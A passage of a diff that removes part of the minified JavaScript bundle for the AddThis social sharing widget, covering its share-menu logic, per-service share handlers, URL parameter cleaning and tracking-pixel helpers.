-                    return t > C.high ? 3 : t > C.med ? 2 : t > k ? 1 : 0;
-                }
-                function p() {
-                    (y = 0), (k = 0), (O = []);
-                }
-                var h = n(58);
-                var m = n(61);
-                e.exports = {
-                    reset: p,
-                    update: c,
-                    get: l,
-                    cla: f,
-                    toKV: a
-                };
-                var g = window.decodeURIComponent;
-                var _ = window.encodeURIComponent;
-                var v = new Date();
-                var b = (m(document.location.href) ? '' : '__at') + 'uvc';
-                var w = '|';
-                var x = ',';
-                var y = 0;
-                var k = 0;
-                var C = {
-                    high: 250,
-                    med: 75
-                };
-                var O = [];
-            }, , , , , , , ,
-            (e, t) => {
-                e.exports = (e, t) => {
-                    var n;
-                    var a = 291;
-                    for (t = t || 32, n = 0; e && n < e.length; n++) a = (a * (e.charCodeAt(n) + n) + 3) & 1048575;
-                    return (16777215 & a).toString(t);
-                };
-            }, , , , ,
-            (e, t) => {
-                'use strict';
-                function n() {
-                    return new Date().getTime();
-                }
-                e.exports = () => (Date.now ? Date.now() : n());
-            }, , , , , , , ,
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i(e) {
-                    return (0, r.default)(e) || 'bkmore' === e || 'link' === e || 'email' === e;
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = i);
-                var o = n(380);
-                var r = a(o);
-                e.exports = t.default;
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(75);
-                e.exports = (e) => void 0 !== a[e];
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i(e, t) {
-                    if (!(0, v.default)()) {
-                        var a = n(457)();
-                        if (a._hasLoadedResources) t && setTimeout(t, 0);
-                        else {
-                            (e = e || {}), n(478);
-                            var i = (0, c.default)({
-                                campaign: 'AddThis expanded menu'
-                            }).generateBranding(f.default.isBrandingReduced());
-                            var o = document.createElement('div');
-                            var s = 'at-expanded-menu-host';
-                            var u = i.element.innerHTML;
-                            var l = {
-                                shareHeading: (0, h.default)('Share', 91),
-                                shareTitle: e.title || g.default.title || '',
-                                shareURL: e.url || g.default.du || '',
-                                reducedBrandingInnerHTML: u
-                            };
-                            var p = r.default.replace(/\{\{(\w+?)\}\}/g, (e, t) => (0, w.default)(l[t]));
-                            (o.id = s), (o.innerHTML = p), document.body.appendChild(o), (0, d.default)(t), (a._hasLoadedResources = !0);
-                        }
-                    }
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = i);
-                var o = n(382);
-                var r = a(o);
-                var s = n(383);
-                var d = a(s);
-                var u = n(331);
-                var c = a(u);
-                var l = n(30);
-                var f = a(l);
-                var p = n(66);
-                var h = a(p);
-                var m = n(64);
-                var g = a(m);
-                var _ = n(402);
-                var v = a(_);
-                var b = n(477);
-                var w = a(b);
-                e.exports = t.default;
-            },
-            (e, t) => {
-                e.exports =
-                    '<div id="at-expanded-menu-container" role="dialog" ariaLabeledby="at-expanded-menu-title" tabIndex="0" class=" at-expanded-menu-hidden"><button aria-label="Close" class="at-expanded-menu-close"><span>×</span></button><div class="at-win-mask at-expanded-menu-mask"></div><div class="at-expanded-menu at-expanded-menu-round"><div id="at-expanded-menu-hd" class="at-expanded-menu-hd"><span id="at-expanded-menu-title" class="at-expanded-menu-title">{{shareHeading}}</span><div><span class="at-expanded-menu-page-title">{{shareTitle}}</span><span class="at-expanded-menu-page-url">{{shareURL}}</span></div><form id="at-expanded-menu-filter-form"><div id="at-expanded-menu-filter" role="search" class="at-expanded-menu-search"><input type="text" size="30" maxLength="50" autoFocus autoComplete="off" id="at-expanded-menu-service-filter" value class="at-expanded-menu-search-input initial-render" /><label htmlFor="at-expanded-menu-service-filter" class="at-expanded-menu-search-label"><span class="at-expanded-menu-search-label-content"></span></label><span class="at-expanded-menu-search-icon"></span></div></form></div><div id="at-expanded-menu-bd"><h4 class="at-expanded-menu-top-services-header"></h4><ul id="at-expanded-menu-top-service-list-container" role="menu" class="at-expanded-menu-service-list"><li style="background-color: #848484; height: 84px; opacity: 0.6;"><button class="at-expanded-menu-button"></button><span class="at-expanded-menu-button-label"></span></li><li style="background-color: #848484; height: 84px; opacity: 0.6;"><button class="at-expanded-menu-button"></button><span class="at-expanded-menu-button-label"></span></li><li style="background-color: #848484; height: 84px; opacity: 0.6;"><button class="at-expanded-menu-button"></button><span class="at-expanded-menu-button-label"></span></li><li style="background-color: #848484; height: 84px; opacity: 0.6;"><button class="at-expanded-menu-button"></button><span class="at-expanded-menu-button-label"></span></li><li style="background-color: #848484; height: 84px; opacity: 0.6;"><button class="at-expanded-menu-button"></button><span class="at-expanded-menu-button-label"></span></li><li style="background-color: #848484; height: 84px; opacity: 0.6;"><button class="at-expanded-menu-button"></button><span class="at-expanded-menu-button-label"></span></li><li style="background-color: #848484; height: 84px; opacity: 0.6;"><button class="at-expanded-menu-button"></button><span class="at-expanded-menu-button-label"></span></li><li style="background-color: #848484; height: 84px; opacity: 0.6;"><button class="at-expanded-menu-button"></button><span class="at-expanded-menu-button-label"></span></li><li style="background-color: #848484; height: 84px; opacity: 0.6;"><button class="at-expanded-menu-button"></button><span class="at-expanded-menu-button-label"></span></li><li style="background-color: #848484; height: 84px; opacity: 0.6;"><button class="at-expanded-menu-button"></button><span class="at-expanded-menu-button-label"></span></li></ul><div class="at-expanded-menu-ft"><span class="at-expanded-menu-ft-loading">Loading Services</span><div class="loading-container "><div class="loading-spinner"></div></div></div></div></div><div>{{reducedBrandingInnerHTML}}</div><div class="at-expanded-menu-fade"></div></div>';
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    (e = e || (() => {})),
-                    n.e(209, (t) => {
-                        var a = {
-                            createExpandedMenu: n(384),
-                            ExpandedMenuControllerView: n(389)
-                        };
-                        n(458)(e.bind(null, a));
-                    });
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = a),
-                    (e.exports = t.default);
-            }, , , , , , ,
-            (e, t, n) => {
-                'use strict';
-                function a(e, t, n, a, i) {
-                    var o;
-                    return (
-                        x(e) ?
-                        k(e, t, n) :
-                        a.defaultShareToNewTab ?
-                        ((i = l(e, 0, t, n)), (o = A(i, '_blank'))) :
-                        window.location.href.search(_atc.rsrcs.bookmark) > -1 ?
-                        (window.location = l(e, 0, t, n)) :
-                        a.defaultShareToNewTab ?
-                        ((i = l(e, 0, t, n)), (o = A(i, '_blank'))) :
-                        C(e, t, n),
-                        o
-                    );
-                }
-                var i = n(391);
-                var o = n(425);
-                var r = n(426);
-                var s = n(427);
-                var d = n(428);
-                var u = n(429).confRequiresFacebookSDK;
-                var c = n(430);
-                var l = n(401);
-                var f = n(424);
-                var p = n(433);
-                var h = n(482);
-                var m = n(483);
-                var g = n(484);
-                var _ = n(486);
-                var v = n(487);
-                var b = n(488);
-                var w = n(409);
-                var x = n(489);
-                var y = n(460);
-                var k = n(490);
-                var C = n(491);
-                var O = n(434);
-                var M = n(5);
-                var A = n(474);
-                var E = n(410);
-                var S = n(31);
-                var I = n(492);
-                var T = n(403);
-                var j = n(37);
-                var N = n(380);
-                var D = n(18);
-                var R = M('msedge') || M('ie11') || M('ie10');
-                e.exports = (e, t) => {
-                    var n;
-                    var l;
-                    var x = window.addthis_config ? T(window.addthis_config) : {};
-                    var k = window.addthis_share ? T(window.addthis_share) : {};
-                    switch (
-                        ((t = t || {}),
-                            (x.product = t.product),
-                            (x.widgetId = t.widgetId),
-                            (k.hideEmailSharingConfirmation = t.hideEmailSharingConfirmation),
-                            (x.pubid = S()),
-                            (k.service = e),
-                            (k.media = void 0 !== t.media ? t.media : k.media),
-                            (k.url = void 0 !== t.url ? t.url : k.url),
-                            (k.title = void 0 !== t.title ? t.title : k.title),
-                            (k.description = void 0 !== t.description ? t.description : k.description),
-                            (k.passthrough = void 0 !== t.passthrough ? t.passthrough : k.passthrough),
-                            e)
-                    ) {
-                        case 'addthis':
-                        case 'more':
-                        case 'bkmore':
-                        case 'compact':
-                            (x.ui_pane = ''), O(document.body, 'more', '', '', x, k);
-                            break;
-                        case 'mailto':
-                            window.location.href = b(k, x, 1);
-                            break;
-                        case 'email':
-                            (k.email_template = t.email_template || k.email_template), (k.email_vars = t.email_vars || k.email_vars), (l = p(k, x));
-                            break;
-                        case 'favorites':
-                            var C = k.url;
-                            var A = k.title;
-                            var L = M('win') ? 'Control' : 'Command';
-                            var z = k.share_url_transforms || k.url_transforms;
-                            var P = 'Press <' + L + '>+D to bookmark in ';
-                            (A = j(A)),
-                            (C = w(C)),
-                            (C = E(C, z, k, e)),
-                            (C = y(e, k, x, C, 1)),
-                            M('ipa') ? alert('Tap the <plus> to bookmark in Safari') : alert(P + (I() || 'your browser'));
-                            break;
-                        case 'print':
-                            f(e, k, x), m();
-                            break;
-                        case 'link':
-                            h(k, x);
-                            break;
-                        case 'slack':
-                            l = g(k, x);
-                            break;
-                        case 'skype':
-                            l = _(k, x);
-                            break;
-                        case 'sms':
-                            v(k, x);
-                            break;
-                        case 'baidu':
-                            d(k, x);
-                            break;
-                        case 'kakaotalk':
-                            l = M('mob') ? a(e, k, x, t, n) : p(k, x);
-                            break;
-                        case 'pinterest':
-                        case 'pinterest_share':
-                            (l = i(k, x)), addthis.menu.close();
-                            break;
-                        case 'thefancy':
-                            f(e, k, x), o(), addthis.menu.close();
-                            break;
-                        case 'facebook':
-                            u(k) ?
-                                (f(e, k, x),
-                                    c(
-                                        D(),
-                                        (i) => {
-                                            if (i) return void a(e, k, x, t, n);
-                                            try {
-                                                window.FB.ui({
-                                                    method: 'share_open_graph',
-                                                    action_type: 'og.shares',
-                                                    action_properties: JSON.stringify({
-                                                        object: {
-                                                            'og:url': k.url,
-                                                            'og:title': k.title,
-                                                            'og:description': k.description,
-                                                            'og:image': k.media
-                                                        }
-                                                    })
-                                                });
-                                            } catch (i) {
-                                                a(e, k, x, t, n);
-                                            }
-                                        },
-                                        R
-                                    )) :
-                                (l = a(e, k, x, t, n));
-                            break;
-                        case 'houzz':
-                            if (!k.media) {
-                                f(e, k, x), r(), addthis.menu.close();
-                                break;
-                            }
-                            case 'weheartit':
-                                if (!k.media) {
-                                    f(e, k, x), s(), addthis.menu.close();
-                                    break;
-                                }
-                                default:
-                                    l = a(e, k, x, t, n);
-                    }
-                    return N(k.service) || addthis.ed.fire('addthis.menu.share', addthis, k), _ate.gat(e, k.url, x, k), l;
-                };
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(392);
-                var i = n(399);
-                var o = n(424);
-                e.exports = (e, t) => {
-                    var n;
-                    return e.media ? (n = i(e, t)) : (o('pinterest_share', e, t), void a());
-                };
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(393);
-                var i = n(396).PINTEREST;
-                e.exports = () => {
-                    a(i + '?r=' + 99999999 * Math.random());
-                };
-            },
-            (e, t, n) => {
-                function a(e, t) {
-                    var n = s(e, 0, 1, 0, 0, 1);
-                    e === r.PINTEREST && (i(), n.setAttribute('via', 'addthis'));
-                }
-                var i = n(394);
-                var o = n(395);
-                var r = n(396);
-                var s = n(397);
-                var d = n(23).listen;
-                var u = window.parent === window;
-                (e.exports = (e) => {
-                    u ? a(e) : o ? window.parent.postMessage('at-share-bookmarklet:' + e, '*') : a(e);
-                }),
-                u &&
-                    d(window, 'message', (e) => {
-                        if (e) {
-                            var t = _atr.substring(0, _atr.length - 1);
-                            var n = e.origin.replace(/^https?:/, '');
-                            var i = n === t || /^\/\/localhost(:\d+)?$/.test(n);
-                            var o = 'string' == typeof e.data;
-                            if (o && i) {
-                                var r = e.data.match(/at\-share\-bookmarklet\:(.+?)$/) || [];
-                                var s = r[1];
-                                if (s) {
-                                    try {
-                                        _ate.menu.close();
-                                    } catch (e) {}
-                                    a(s);
-                                }
-                            }
-                        }
-                    });
-            },
-            (e, t) => {
-                e.exports = () => {
-                    var e = document.getElementsByTagName('img');
-                    var t = window.addthis_config && addthis_config.image_exclude;
-                    var n = new RegExp('(\\s|^)' + t + '(\\s|$)');
-                    if (t)
-                        for (var a = 0; a < e.length; a++) {
-                            var i = e[a].className || '';
-                            i.match(n) && e[a].setAttribute('nopin', 'nopin');
-                        }
-                };
-            },
-            (e, t) => {
-                var n = window;
-                var a = !!n.postMessage && ('' + n.postMessage).toLowerCase().indexOf('[native code]') !== -1;
-                e.exports = a;
-            },
-            (e, t) => {
-                'use strict';
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = {
-                        HOUZZ: '//www.houzz.com/js/clipperBookmarklet.js',
-                        FANCY: '//fancy.com/bookmarklet/fancy_tagger.js',
-                        PINTEREST: '//assets.pinterest.com/js/pinmarklet.js',
-                        WEHEARTIT: '//weheartit.com/bookmarklet.js',
-                        BAIDU: '//swenzhang.baidu.com/js/pjt/content_ex/page/bookmark.js'
-                    }),
-                    (e.exports = t.default);
-            },
-            (e, t, n) => {
-                var a = n(398);
-                var i = {};
-                e.exports = (e, t, n, o, r, s) => {
-                    if (!i[e] || s) {
-                        var d = window.document.createElement('script');
-                        var u = 'https:' === window.location.protocol;
-                        var c = '';
-                        var l = r ? r : window.document.getElementsByTagName('head')[0] || window.document.documentElement;
-                        return (
-                            d.setAttribute('type', 'text/javascript'),
-                            n && d.setAttribute('async', 'async'),
-                            o && d.setAttribute('id', o),
-                            ((window.chrome && window.chrome.self) || (window.safari && window.safari.extension)) &&
-                            ((c = u ? 'https:' : 'http:'), 0 === e.indexOf('//') && (e = c + e)),
-                            (d.src = (t || 0 === e.indexOf('//') ? '' : c + a()) + e),
-                            l.insertBefore(d, l.firstChild),
-                            (i[e] = 1),
-                            d
-                        );
-                    }
-                    return 1;
-                };
-            },
-            (e, t) => {
-                e.exports = () => window.addthis_cdn || window._atr;
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(400);
-                var i = n(422);
-                e.exports = (e, t) => i(a(e, t), 750, 536, 'Share to Pinterest', !0);
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(401);
-                e.exports = (e, t) => a('pinterest_share', !1, e, t);
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(5);
-                var i = n(402);
-                var o = n(403);
-                var r = n(62);
-                var s = n(64);
-                var d = n(404);
-                var u = n(418);
-                var c = n(31);
-                var l = n(47);
-                var f = window.encodeURIComponent;
-                e.exports = (e, t, n, p, h) => {
-                    var m = d(_ate).clearOurFragment;
-                    if ('more' === e && !a('mob') && !i()) {
-                        var g = o(n || ('undefined' == typeof _atw ? window.addthis_share : _atw.share));
-                        (g.url = f(g.url)), (g.title = f(g.title || (window.addthis_share || {}).title || '')), (p = 'undefined' == typeof _atw ? p : _atw.conf);
-                        var _ = window._atc.rsrcs.bookmark + '#ats=' + f(r(g)) + '&atc=' + f(r(p));
-                        if (a('msi') && _.length > 2e3) {
-                            _ = _.split('&atc')[0];
-                            var v = {
-                                product: p.product,
-                                data_track_clickback: p.data_track_clickback,
-                                pubid: p.pubid,
-                                username: p.username,
-                                pub: p.pub,
-                                ui_email_to: p.ui_email_to,
-                                ui_email_from: p.ui_email_from,
-                                ui_email_note: p.ui_email_note
-                            };
-                            _atw.ics(e) && (v.services_custom = _atw.ics(e)), (_ += '&atc=' + f(r(v)));
-                        }
-                        return _;
-                    }
-                    return (
-                        'https://www.addthis.com/' +
-                        (t ? 'feed.php' : 'email' === e ? 'tellfriend_v2.php' : 'bookmark.php') +
-                        '?v=300&winname=addthis&' +
-                        u({
-                            svc: e,
-                            feed: t,
-                            share: n,
-                            config: p,
-                            classificationBitmask: _ate.cb,
-                            secondaryProductCode: _ate.track && _ate.track.spc,
-                            uid: l(),
-                            sessionID: _ate.track && _ate.track.ssid(),
-                            pubID: c(),
-                            feedsABCell: _ate.ab,
-                            usesFacebookLibrary: _ate.ufbl,
-                            usesUserAPI: _ate.uud
-                        }) +
-                        (s.dr ? '&pre=' + f(m(s.dr)) : '') +
-                        '&tt=0' +
-                        ('more' === e && a('ipa') ? '&imore=1' : '') +
-                        '&captcha_provider=recaptcha2&pro=' +
-                        (_ate.pro === !0 ? 1 : 0)
-                    );
-                };
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i() {
-                    return ((0, r.default)('ie11') || (0, r.default)('ie10')) && (window.addthis_config || {}).ui_508_compliant;
-                }
-                Object.defineProperty(t, '__esModule', {
-                        value: !0
-                    }),
-                    (t.default = i);
-                var o = n(5);
-                var r = a(o);
-                e.exports = t.default;
-            },
-            (e, t) => {
-                e.exports = function e(t) {
-                    if (null == t || 'object' != typeof t) return t;
-                    if (t instanceof Object) {
-                        var n = {};
-                        if ('function' == typeof t.hasOwnProperty)
-                            for (var a in t) n[a] !== t && t.hasOwnProperty(a) && void 0 !== t[a] && (n[a] = e(t[a]));
-                        return n;
-                    }
-                    return null;
-                };
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(56);
-                var i = n(405);
-                var o = n(60).makeCUID;
-                var r = n(406);
-                var s = n(31);
-                var d = n(13);
-                var u = n(397);
-                var c = n(407);
-                var l = n(408);
-                var f = n(409);
-                var p = n(410);
-                var h = n(417);
-                var m = new Date().getTime();
-                var g = 0;
-                var _ = null;
-                var v = window.encodeURIComponent;
-                e.exports = (e) => {
-                    function t() {
-                        return Math.floor((new Date().getTime() - m) / 100).toString(16);
-                    }
-                    function n(e) {
-                        return 0 === g && (g = e || o()), g;
-                    }
-                    function b(e, t, n) {
-                        null !== _ && clearTimeout(_),
-                            e &&
-                            (_ = setTimeout(() => {
-                                t(!!n);
-                            }, r));
-                    }
-                    function w(e, n) {
-                        return v(e) + '=' + v(n) + ';' + t();
-                    }
-                    function x() {
-                        return h({
-                            uid: e.uid,
-                            sessionID: n(),
-                            pubID: s(),
-                            feedsABCell: e.ab
-                        });
-                    }
-                    function y(t) {
-                        (t = t.split('/')), t.shift(), t.shift();
-                        var n = t.shift();
-                        var a = t.shift();
-                        var i = t.shift();
-                        n && (e.ab = e.ab), a && (e.sid = g = a), i && (h.seq = i);
-                    }
-                    function k(e, t) {
-                        'string' == typeof e &&
-                            (e = {
-                                url: e
-                            });
-                        var n = e.url;
-                        var o = e.params;
-                        var r = e.js;
-                        var s = e.rand;
-                        var l = e.close;
-                        var f = n + (o ? '?' + (s ? c() + (2 == s ? '&colc=' + new Date().getTime() : '') : '') + '&' + o : '');
-                        if (r) t && d.error('loadPixel callback is not yet supported for scripts'), u(f, 1);
-                        else if (l) {
-                            t && d.error('loadPixel callback is not yet supported for iframes');
-                            var p = document;
-                            var h = p.createElement('iframe');
-                            (h.id = '_atf'), (h.src = f), i(h), p.body.appendChild(h), (h = p.getElementById('_atf'));
-                        } else a(f, null, t);
-                        d.debug('u=' + f);
-                    }
-                    return {
-                        formatCustomEvent: w,
-                        clearOurFragment: f,
-                        getOurFragment: l,
-                        mungeURL: p,
-                        ssid: n,
-                        sta: x,
-                        uns: y,
-                        loadPixel: k,
-                        scheduleTransmit: b
-                    };
-                };
-            },
-            (e, t) => {
-                e.exports = (e) => {
-                    e.style && ((e.style.width = e.style.height = '1px'), (e.style.position = 'absolute'), (e.style.top = '-9999px'), (e.style.zIndex = 1e5));
-                };
-            },
-            (e, t) => {
-                e.exports = 500;
-            },
-            (e, t) => {
-                e.exports = () => Math.floor(4294967295 * Math.random()).toString(36);
-            },
-            (e, t, n) => {
-                var a = n(60).isValidCUID;
-                var i = n(5);
-                e.exports = (e) => {
-                    var t;
-                    return (
-                        (e = e || ''),
-                        i('msi') &&
-                        e instanceof Object &&
-                        !e.length &&
-                        (e = Object.keys(e)
-                            .map((t) => t + '=' + e[t])
-                            .join('&')),
-                        (t = e.split('#').pop().split(',').shift().split('=').pop()),
-                        a(t) ? e.split('#').pop().split(',') : ['']
-                    );
-                };
-            },
-            (e, t, n) => {
-                var a = n(60).isValidCUID;
-                var i = n(408);
-                e.exports = (e) => {
-                    var t;
-                    return (
-                        (e = e || ''),
-                        (t = i(e).shift().split('=').pop()),
-                        a(t) || e.indexOf('#at_pco=') > -1 ?
-                        e.split('#').shift() :
-                        ((t = e.split('#').slice(1).join('#').split(';').shift()),
-                            3 === t.split('.').length && (t = t.split('.').slice(0, -1).join('.')),
-                            12 === t.length && '.' === t.substr(0, 1) && /[a-zA-Z0-9\-_]{11}/.test(t.substr(1)) ? e.split('#').shift() : e)
-                    );
-                };
-            },
-            (e, t, n) => {
-                var a = n(411);
-                var i = n(414);
-                var o = n(409);
-                var r = n(415);
-                e.exports = (e, t, n, s) => (
-                    t || (t = {}),
-                    t.remove || (t.remove = []),
-                    t.remove.push &&
-                    (t.remove.push('sms_ss'), t.remove.push('at_xt'), t.remove.push('at_pco'), t.remove.push('fb_ref'), t.remove.push('fb_source')),
-                    t.remove && (e = a(e, t.remove)),
-                    t.clean && (e = i(e)),
-                    t.defrag && (e = o(e)),
-                    t.add && (e = r(e, t.add, n, s)),
-                    e
-                );
-            },
-            (e, t, n) => {
-                var a = n(412);
-                e.exports = (e, t) => {
-                    var n;
-                    var i = {};
-                    var o = t || [];
-                    for (n = 0; n < o.length; n++) i[o[n]] = 1;
-                    return a(e, (e, t) => {
-                        var n;
-                        var a;
-                        var o = [];
-                        if (t) {
-                            for (n in t)
-                                if (t.hasOwnProperty(n) && 'string' == typeof t[n])
-                                    if (((a = (t[n] || '').split('=')), 2 !== a.length && t[n])) o.push(t[n]);
-                                    else {
-                                        if (i[a[0]]) continue;
-                                        t[n] && o.push(t[n]);
-                                    }
-                            e += o.length ? '?' + o.join('&') : '';
-                        }
-                        return e;
-                    });
-                };
-            },
-            (e, t, n) => {
-                var a = n(413);
-                e.exports = (e, t) => {
-                    var n;
-                    var i;
-                    var o;
-                    return 'object' == typeof e && (e = a(e)), (n = (e || '').split('?')), (i = n.shift()), (o = n.join('?').split('&')), t(i, o);
-                };
-            },
-            (e, t, n) => {
-                var a = n(9);
-                var i = n(63);
-                e.exports = (e, t) => (
-                    (t = void 0 !== t ? t : '&'),
-                    a(e, (e, t, n) => ((n = i(n)), n && e.push(window.encodeURIComponent(n) + '=' + window.encodeURIComponent(i(t))), e), []).join(t)
-                );
-            },
-            (e, t, n) => {
-                var a = n(412);
-                e.exports = (e) => (
-                    (e = e || ''),
-                    a(e, (e, t) => {
-                        var n;
-                        var a;
-                        var i = e.indexOf(';jsessionid');
-                        var o = [];
-                        if ((i > -1 && (e = e.substr(0, i)), t)) {
-                            for (n in t)
-                                if (t.hasOwnProperty(n) && 'string' == typeof t[n]) {
-                                    if (
-                                        ((a = (t[n] || '').split('=')),
-                                            2 === a.length &&
-                                            (0 === a[0].indexOf('utm_') ||
-                                                'gclid' === a[0] ||
-                                                'sms_ss' === a[0] ||
-                                                'at_xt' === a[0] ||
-                                                'fb_ref' === a[0] ||
-                                                'fb_source' === a[0]))
-                                    )
-                                        continue;
-                                    t[n] && o.push(t[n]);
-                                }
-                            e += o.length ? '?' + o.join('&') : '';
-                        }
-                        return e;
-                    })
-                );
-            },
-            (e, t, n) => {
-                var a = n(413);
-                var i = n(416);
-                e.exports = (e, t, n, o) => {
-                    function r(a) {
-                        e.indexOf(a + '=') === -1 && (s[a] = i(t[a], e, n, o));
-                    }
-                    var s = {};
-                    return t && (Object.keys(t).forEach(r), (t = a(s))), e + (t.length ? (e.indexOf('?') > -1 ? '&' : '?') + t : '');
-                };
-            },
-            (e, t) => {
-                var n = window.encodeURIComponent;
-                e.exports = (e, t, a, i) =>
-                    e
-                    .replace(/\{\{service\}\}/g, n(i || 'addthis-service-code'))
-                    .replace(/\{\{code\}\}/g, n(i || 'addthis-service-code'))
-                    .replace(/\{\{title\}\}/g, n((a || window.addthis_share).title))
-                    .replace(/\{\{url\}\}/g, n(t));
-            },
-            (e, t) => {
-                'use strict';
-                function n(e, t, n, i) {
-                    return (n = n || 'unknown'), 'AT-' + n + '/-/' + i + '/' + t + '/' + a++;
-                }
-                var a = 1;
-                (e.exports = (e) => n(e.uid, e.sessionID, e.pubID, e.feedsABCell)), (e.exports.seq = a);
-            },
-            (e, t, n) => {
-                'use strict';
-                function a() {
-                    var e;
-                    var t;
-                    var n = document.getElementsByTagName('link');
-                    var a = {};
-                    for (e = 0; e < n.length; e++)(t = n[e]), t.href && t.rel && (a[t.rel] = t.href);
-                    return a;
-                }
-                function i() {
-                    var e = document.querySelectorAll('meta[property="og:image"]');
-                    if (e && e.length > 0) {
-                        var t = e[0].content;
-                        if (t) return t;
-                    }
-                    return '';
-                }
-                function o(e, t) {
-                    var n = {
-                        pinterest_share: 'pinterest',
-                        pinterest_pinit: 'pinterest'
-                    };
-                    var a = null;
-                    return (
-                        n[t] ?
-                        ((e || {}).passthrough || {})[t] ?
-                        (a = e.passthrough[t]) :
-                        ((e || {}).passthrough || {})[n[t]] && (a = e.passthrough[n[t]]) :
-                        (a = ((e || {}).passthrough || {})[t]),
-                        a ? '&passthrough=' + f('object' == typeof a ? h(a) : a, 1) : ''
-                    );
-                }
-                function r(e) {
-                    return e && e.length > 2e3 ? e.substr(0, 1997) + '...' : e;
-                }
-                function s(e, t, n, s, h, b, w, x, y, k, C, O, M) {
-                    var A;
-                    var E;
-                    var S;
-                    var I;
-                    var T;
-                    window._atw = window._atw || {};
-                    var j;
-                    var N = n && n.url ? n.url : _atw.share && _atw.share.url ? _atw.share.url : window.addthis_url || window.location.href;
-                    var D = a();
-                    (s = s || {}), (n = n || {});
-                    var R = (e) => {
-                        N && ((I = N.indexOf('#at' + e)), I > -1 && (N = N.substr(0, I)));
-                    };
-                    if (
-                        (l('config', s),
-                            l('share', n),
-                            d() && (n.dataUrl || (n.url = window.addthis_url), n.dataTitle || (n.title = window.addthis_title), (N = n.url)),
-                            D.canonical && !n.trackurl && n.imp_url && (n.trackurl = D.canonical),
-                            (y && 'undefined' !== y) || (y = 'unknown'),
-                            (j = s.services_custom),
-                            R('pro'),
-                            R('opp'),
-                            R('cle'),
-                            R('clb'),
-                            R('abc'),
-                            R('_pco'),
-                            N.indexOf('https://s7.addthis.com/static/r07/ab') > -1)
-                    )
-                        for (N = N.split('&'), I = 0; I < N.length; I++)
-                            if (((T = N[I].split('=')), 2 === T.length && 'url' === T[0])) {
-                                N = T[1];
-                                break;
-                            }
-                    if (j instanceof Object && '0' in j)
-                        for (I in j)
-                            if (j[I].code == e) {
-                                j = j[I];
-                                break;
-                            }
-                    var L = n.templates && n.templates[e] ? n.templates[e] : '';
-                    var z = n.smd || M;
-                    var P = n.modules && n.modules[e] ? n.modules[e] : '';
-                    var B = n.share_url_transforms || n.url_transforms || {};
-                    var F = n.track_url_transforms || n.url_transforms;
-                    var U =
-                        B && B.shorten && e.indexOf('pinterest') === -1 ? ('string' == typeof B.shorten ? B.shorten : B.shorten[e] || B.shorten.default || '') : '';
-                    var W = '';
-                    var q = s.product || window.addthis_product || 'men-300';
-                    var H = window.crs;
-                    var V = n.email_vars || s.email_vars;
-                    var G = '';
-                    var Z = u(N);
-                    var K = 2 == Z.length ? Z.shift().split('=').pop() : '';
-                    var J = 2 == Z.length ? Z.pop() : '';
-                    var Q = s.data_track_clickback || s.data_track_linkback || !y || 'AddThis' == y || (s.data_track_clickback !== !1 && !0);
-                    var Y = n.media ? f(n.media, 1) : '';
-                    if ((s.data_track_clickback === !1 && (Q = !1), V))
-                        for (A in V) G += ('' == G ? '' : '&') + v(A) + '=' + v(V[A]);
-                    if ((b && q.indexOf(b) === -1 && (q += ',' + b), B && B.shorten && n.shorteners && e.indexOf('pinterest') == -1))
-                        for (A in n.shorteners)
-                            for (E in n.shorteners[A]) W += (W.length ? '&' : '') + v(A + '.' + E) + '=' + v(n.shorteners[A][E]);
-                    return (
-                        (N = c(N)),
-                        (N = p(N, B, n, e)),
-                        F && (n.trackurl = p(n.trackurl || N, F, n, e)),
-                        'kakaotalk' != e || Y || (Y = v(i())),
-                        (S =
-                            'pub=' +
-                            y +
-                            '&source=' +
-                            q +
-                            '&lng=' +
-                            m() +
-                            '&s=' +
-                            e +
-                            (s.widgetId ? '&wid=' + s.widgetId : '') +
-                            (s.ui_508_compliant ? '&u508=1' : '') +
-                            (t ?
-                                '&h1=' + f((n.feed || n.url || '').replace('feed://', ''), 1) + '&t1=' :
-                                '&url=' +
-                                f(N, 1) +
-                                '&title=' +
-                                f(n.title || (window.addthis_title || '').replace(/AddThis\sSocial\sBookmarking\sSharing\sButton\sWidget/, ''), 1)) +
-                            (t && n.userid ? '&fid=' + f(n.userid) : '') +
-                            '&ate=' +
-                            g({
-                                sessionID: x,
-                                pubID: y,
-                                feedsABCell: k
-                            }) +
-                            ('email' !== e ? '&frommenu=1' : '') +
-                            (n.hideEmailSharingConfirmation ? '&hideEmailSharingConfirmation=true' : '') +
-                            (!window.addthis_ssh ||
-                                (H && addthis_ssh == H) ||
-                                !(addthis_ssh == e || addthis_ssh.search(new RegExp('(?:^|,)(' + e + ')(?:$|,)')) > -1) ?
-                                '' :
-                                '&ips=1') +
-                            (H ? '&cr=' + (e === H ? 1 : 0) : '') +
-                            '&uid=' +
-                            v(w && 'x' !== w ? w : _()) +
-                            (n.email_template ? '&email_template=' + v(n.email_template) : '') +
-                            (G ? '&email_vars=' + v(G) : '') +
-                            (U ? '&shortener=' + v('array' == typeof U ? U.join(',') : U) : '') +
-                            (U && W ? '&' + W : '') +
-                            o(n, e) +
-                            (n.description ? '&description=' + r(f(n.description, 1)) : '') +
-                            (n.html ? '&html=' + f(n.html, 1) : n.content ? '&html=' + f(n.content, 1) : '') +
-                            (n.trackurl && n.trackurl != N ? '&trackurl=' + f(n.trackurl, 1) : '') +
-                            (Y ? '&screenshot=' + Y : '') +
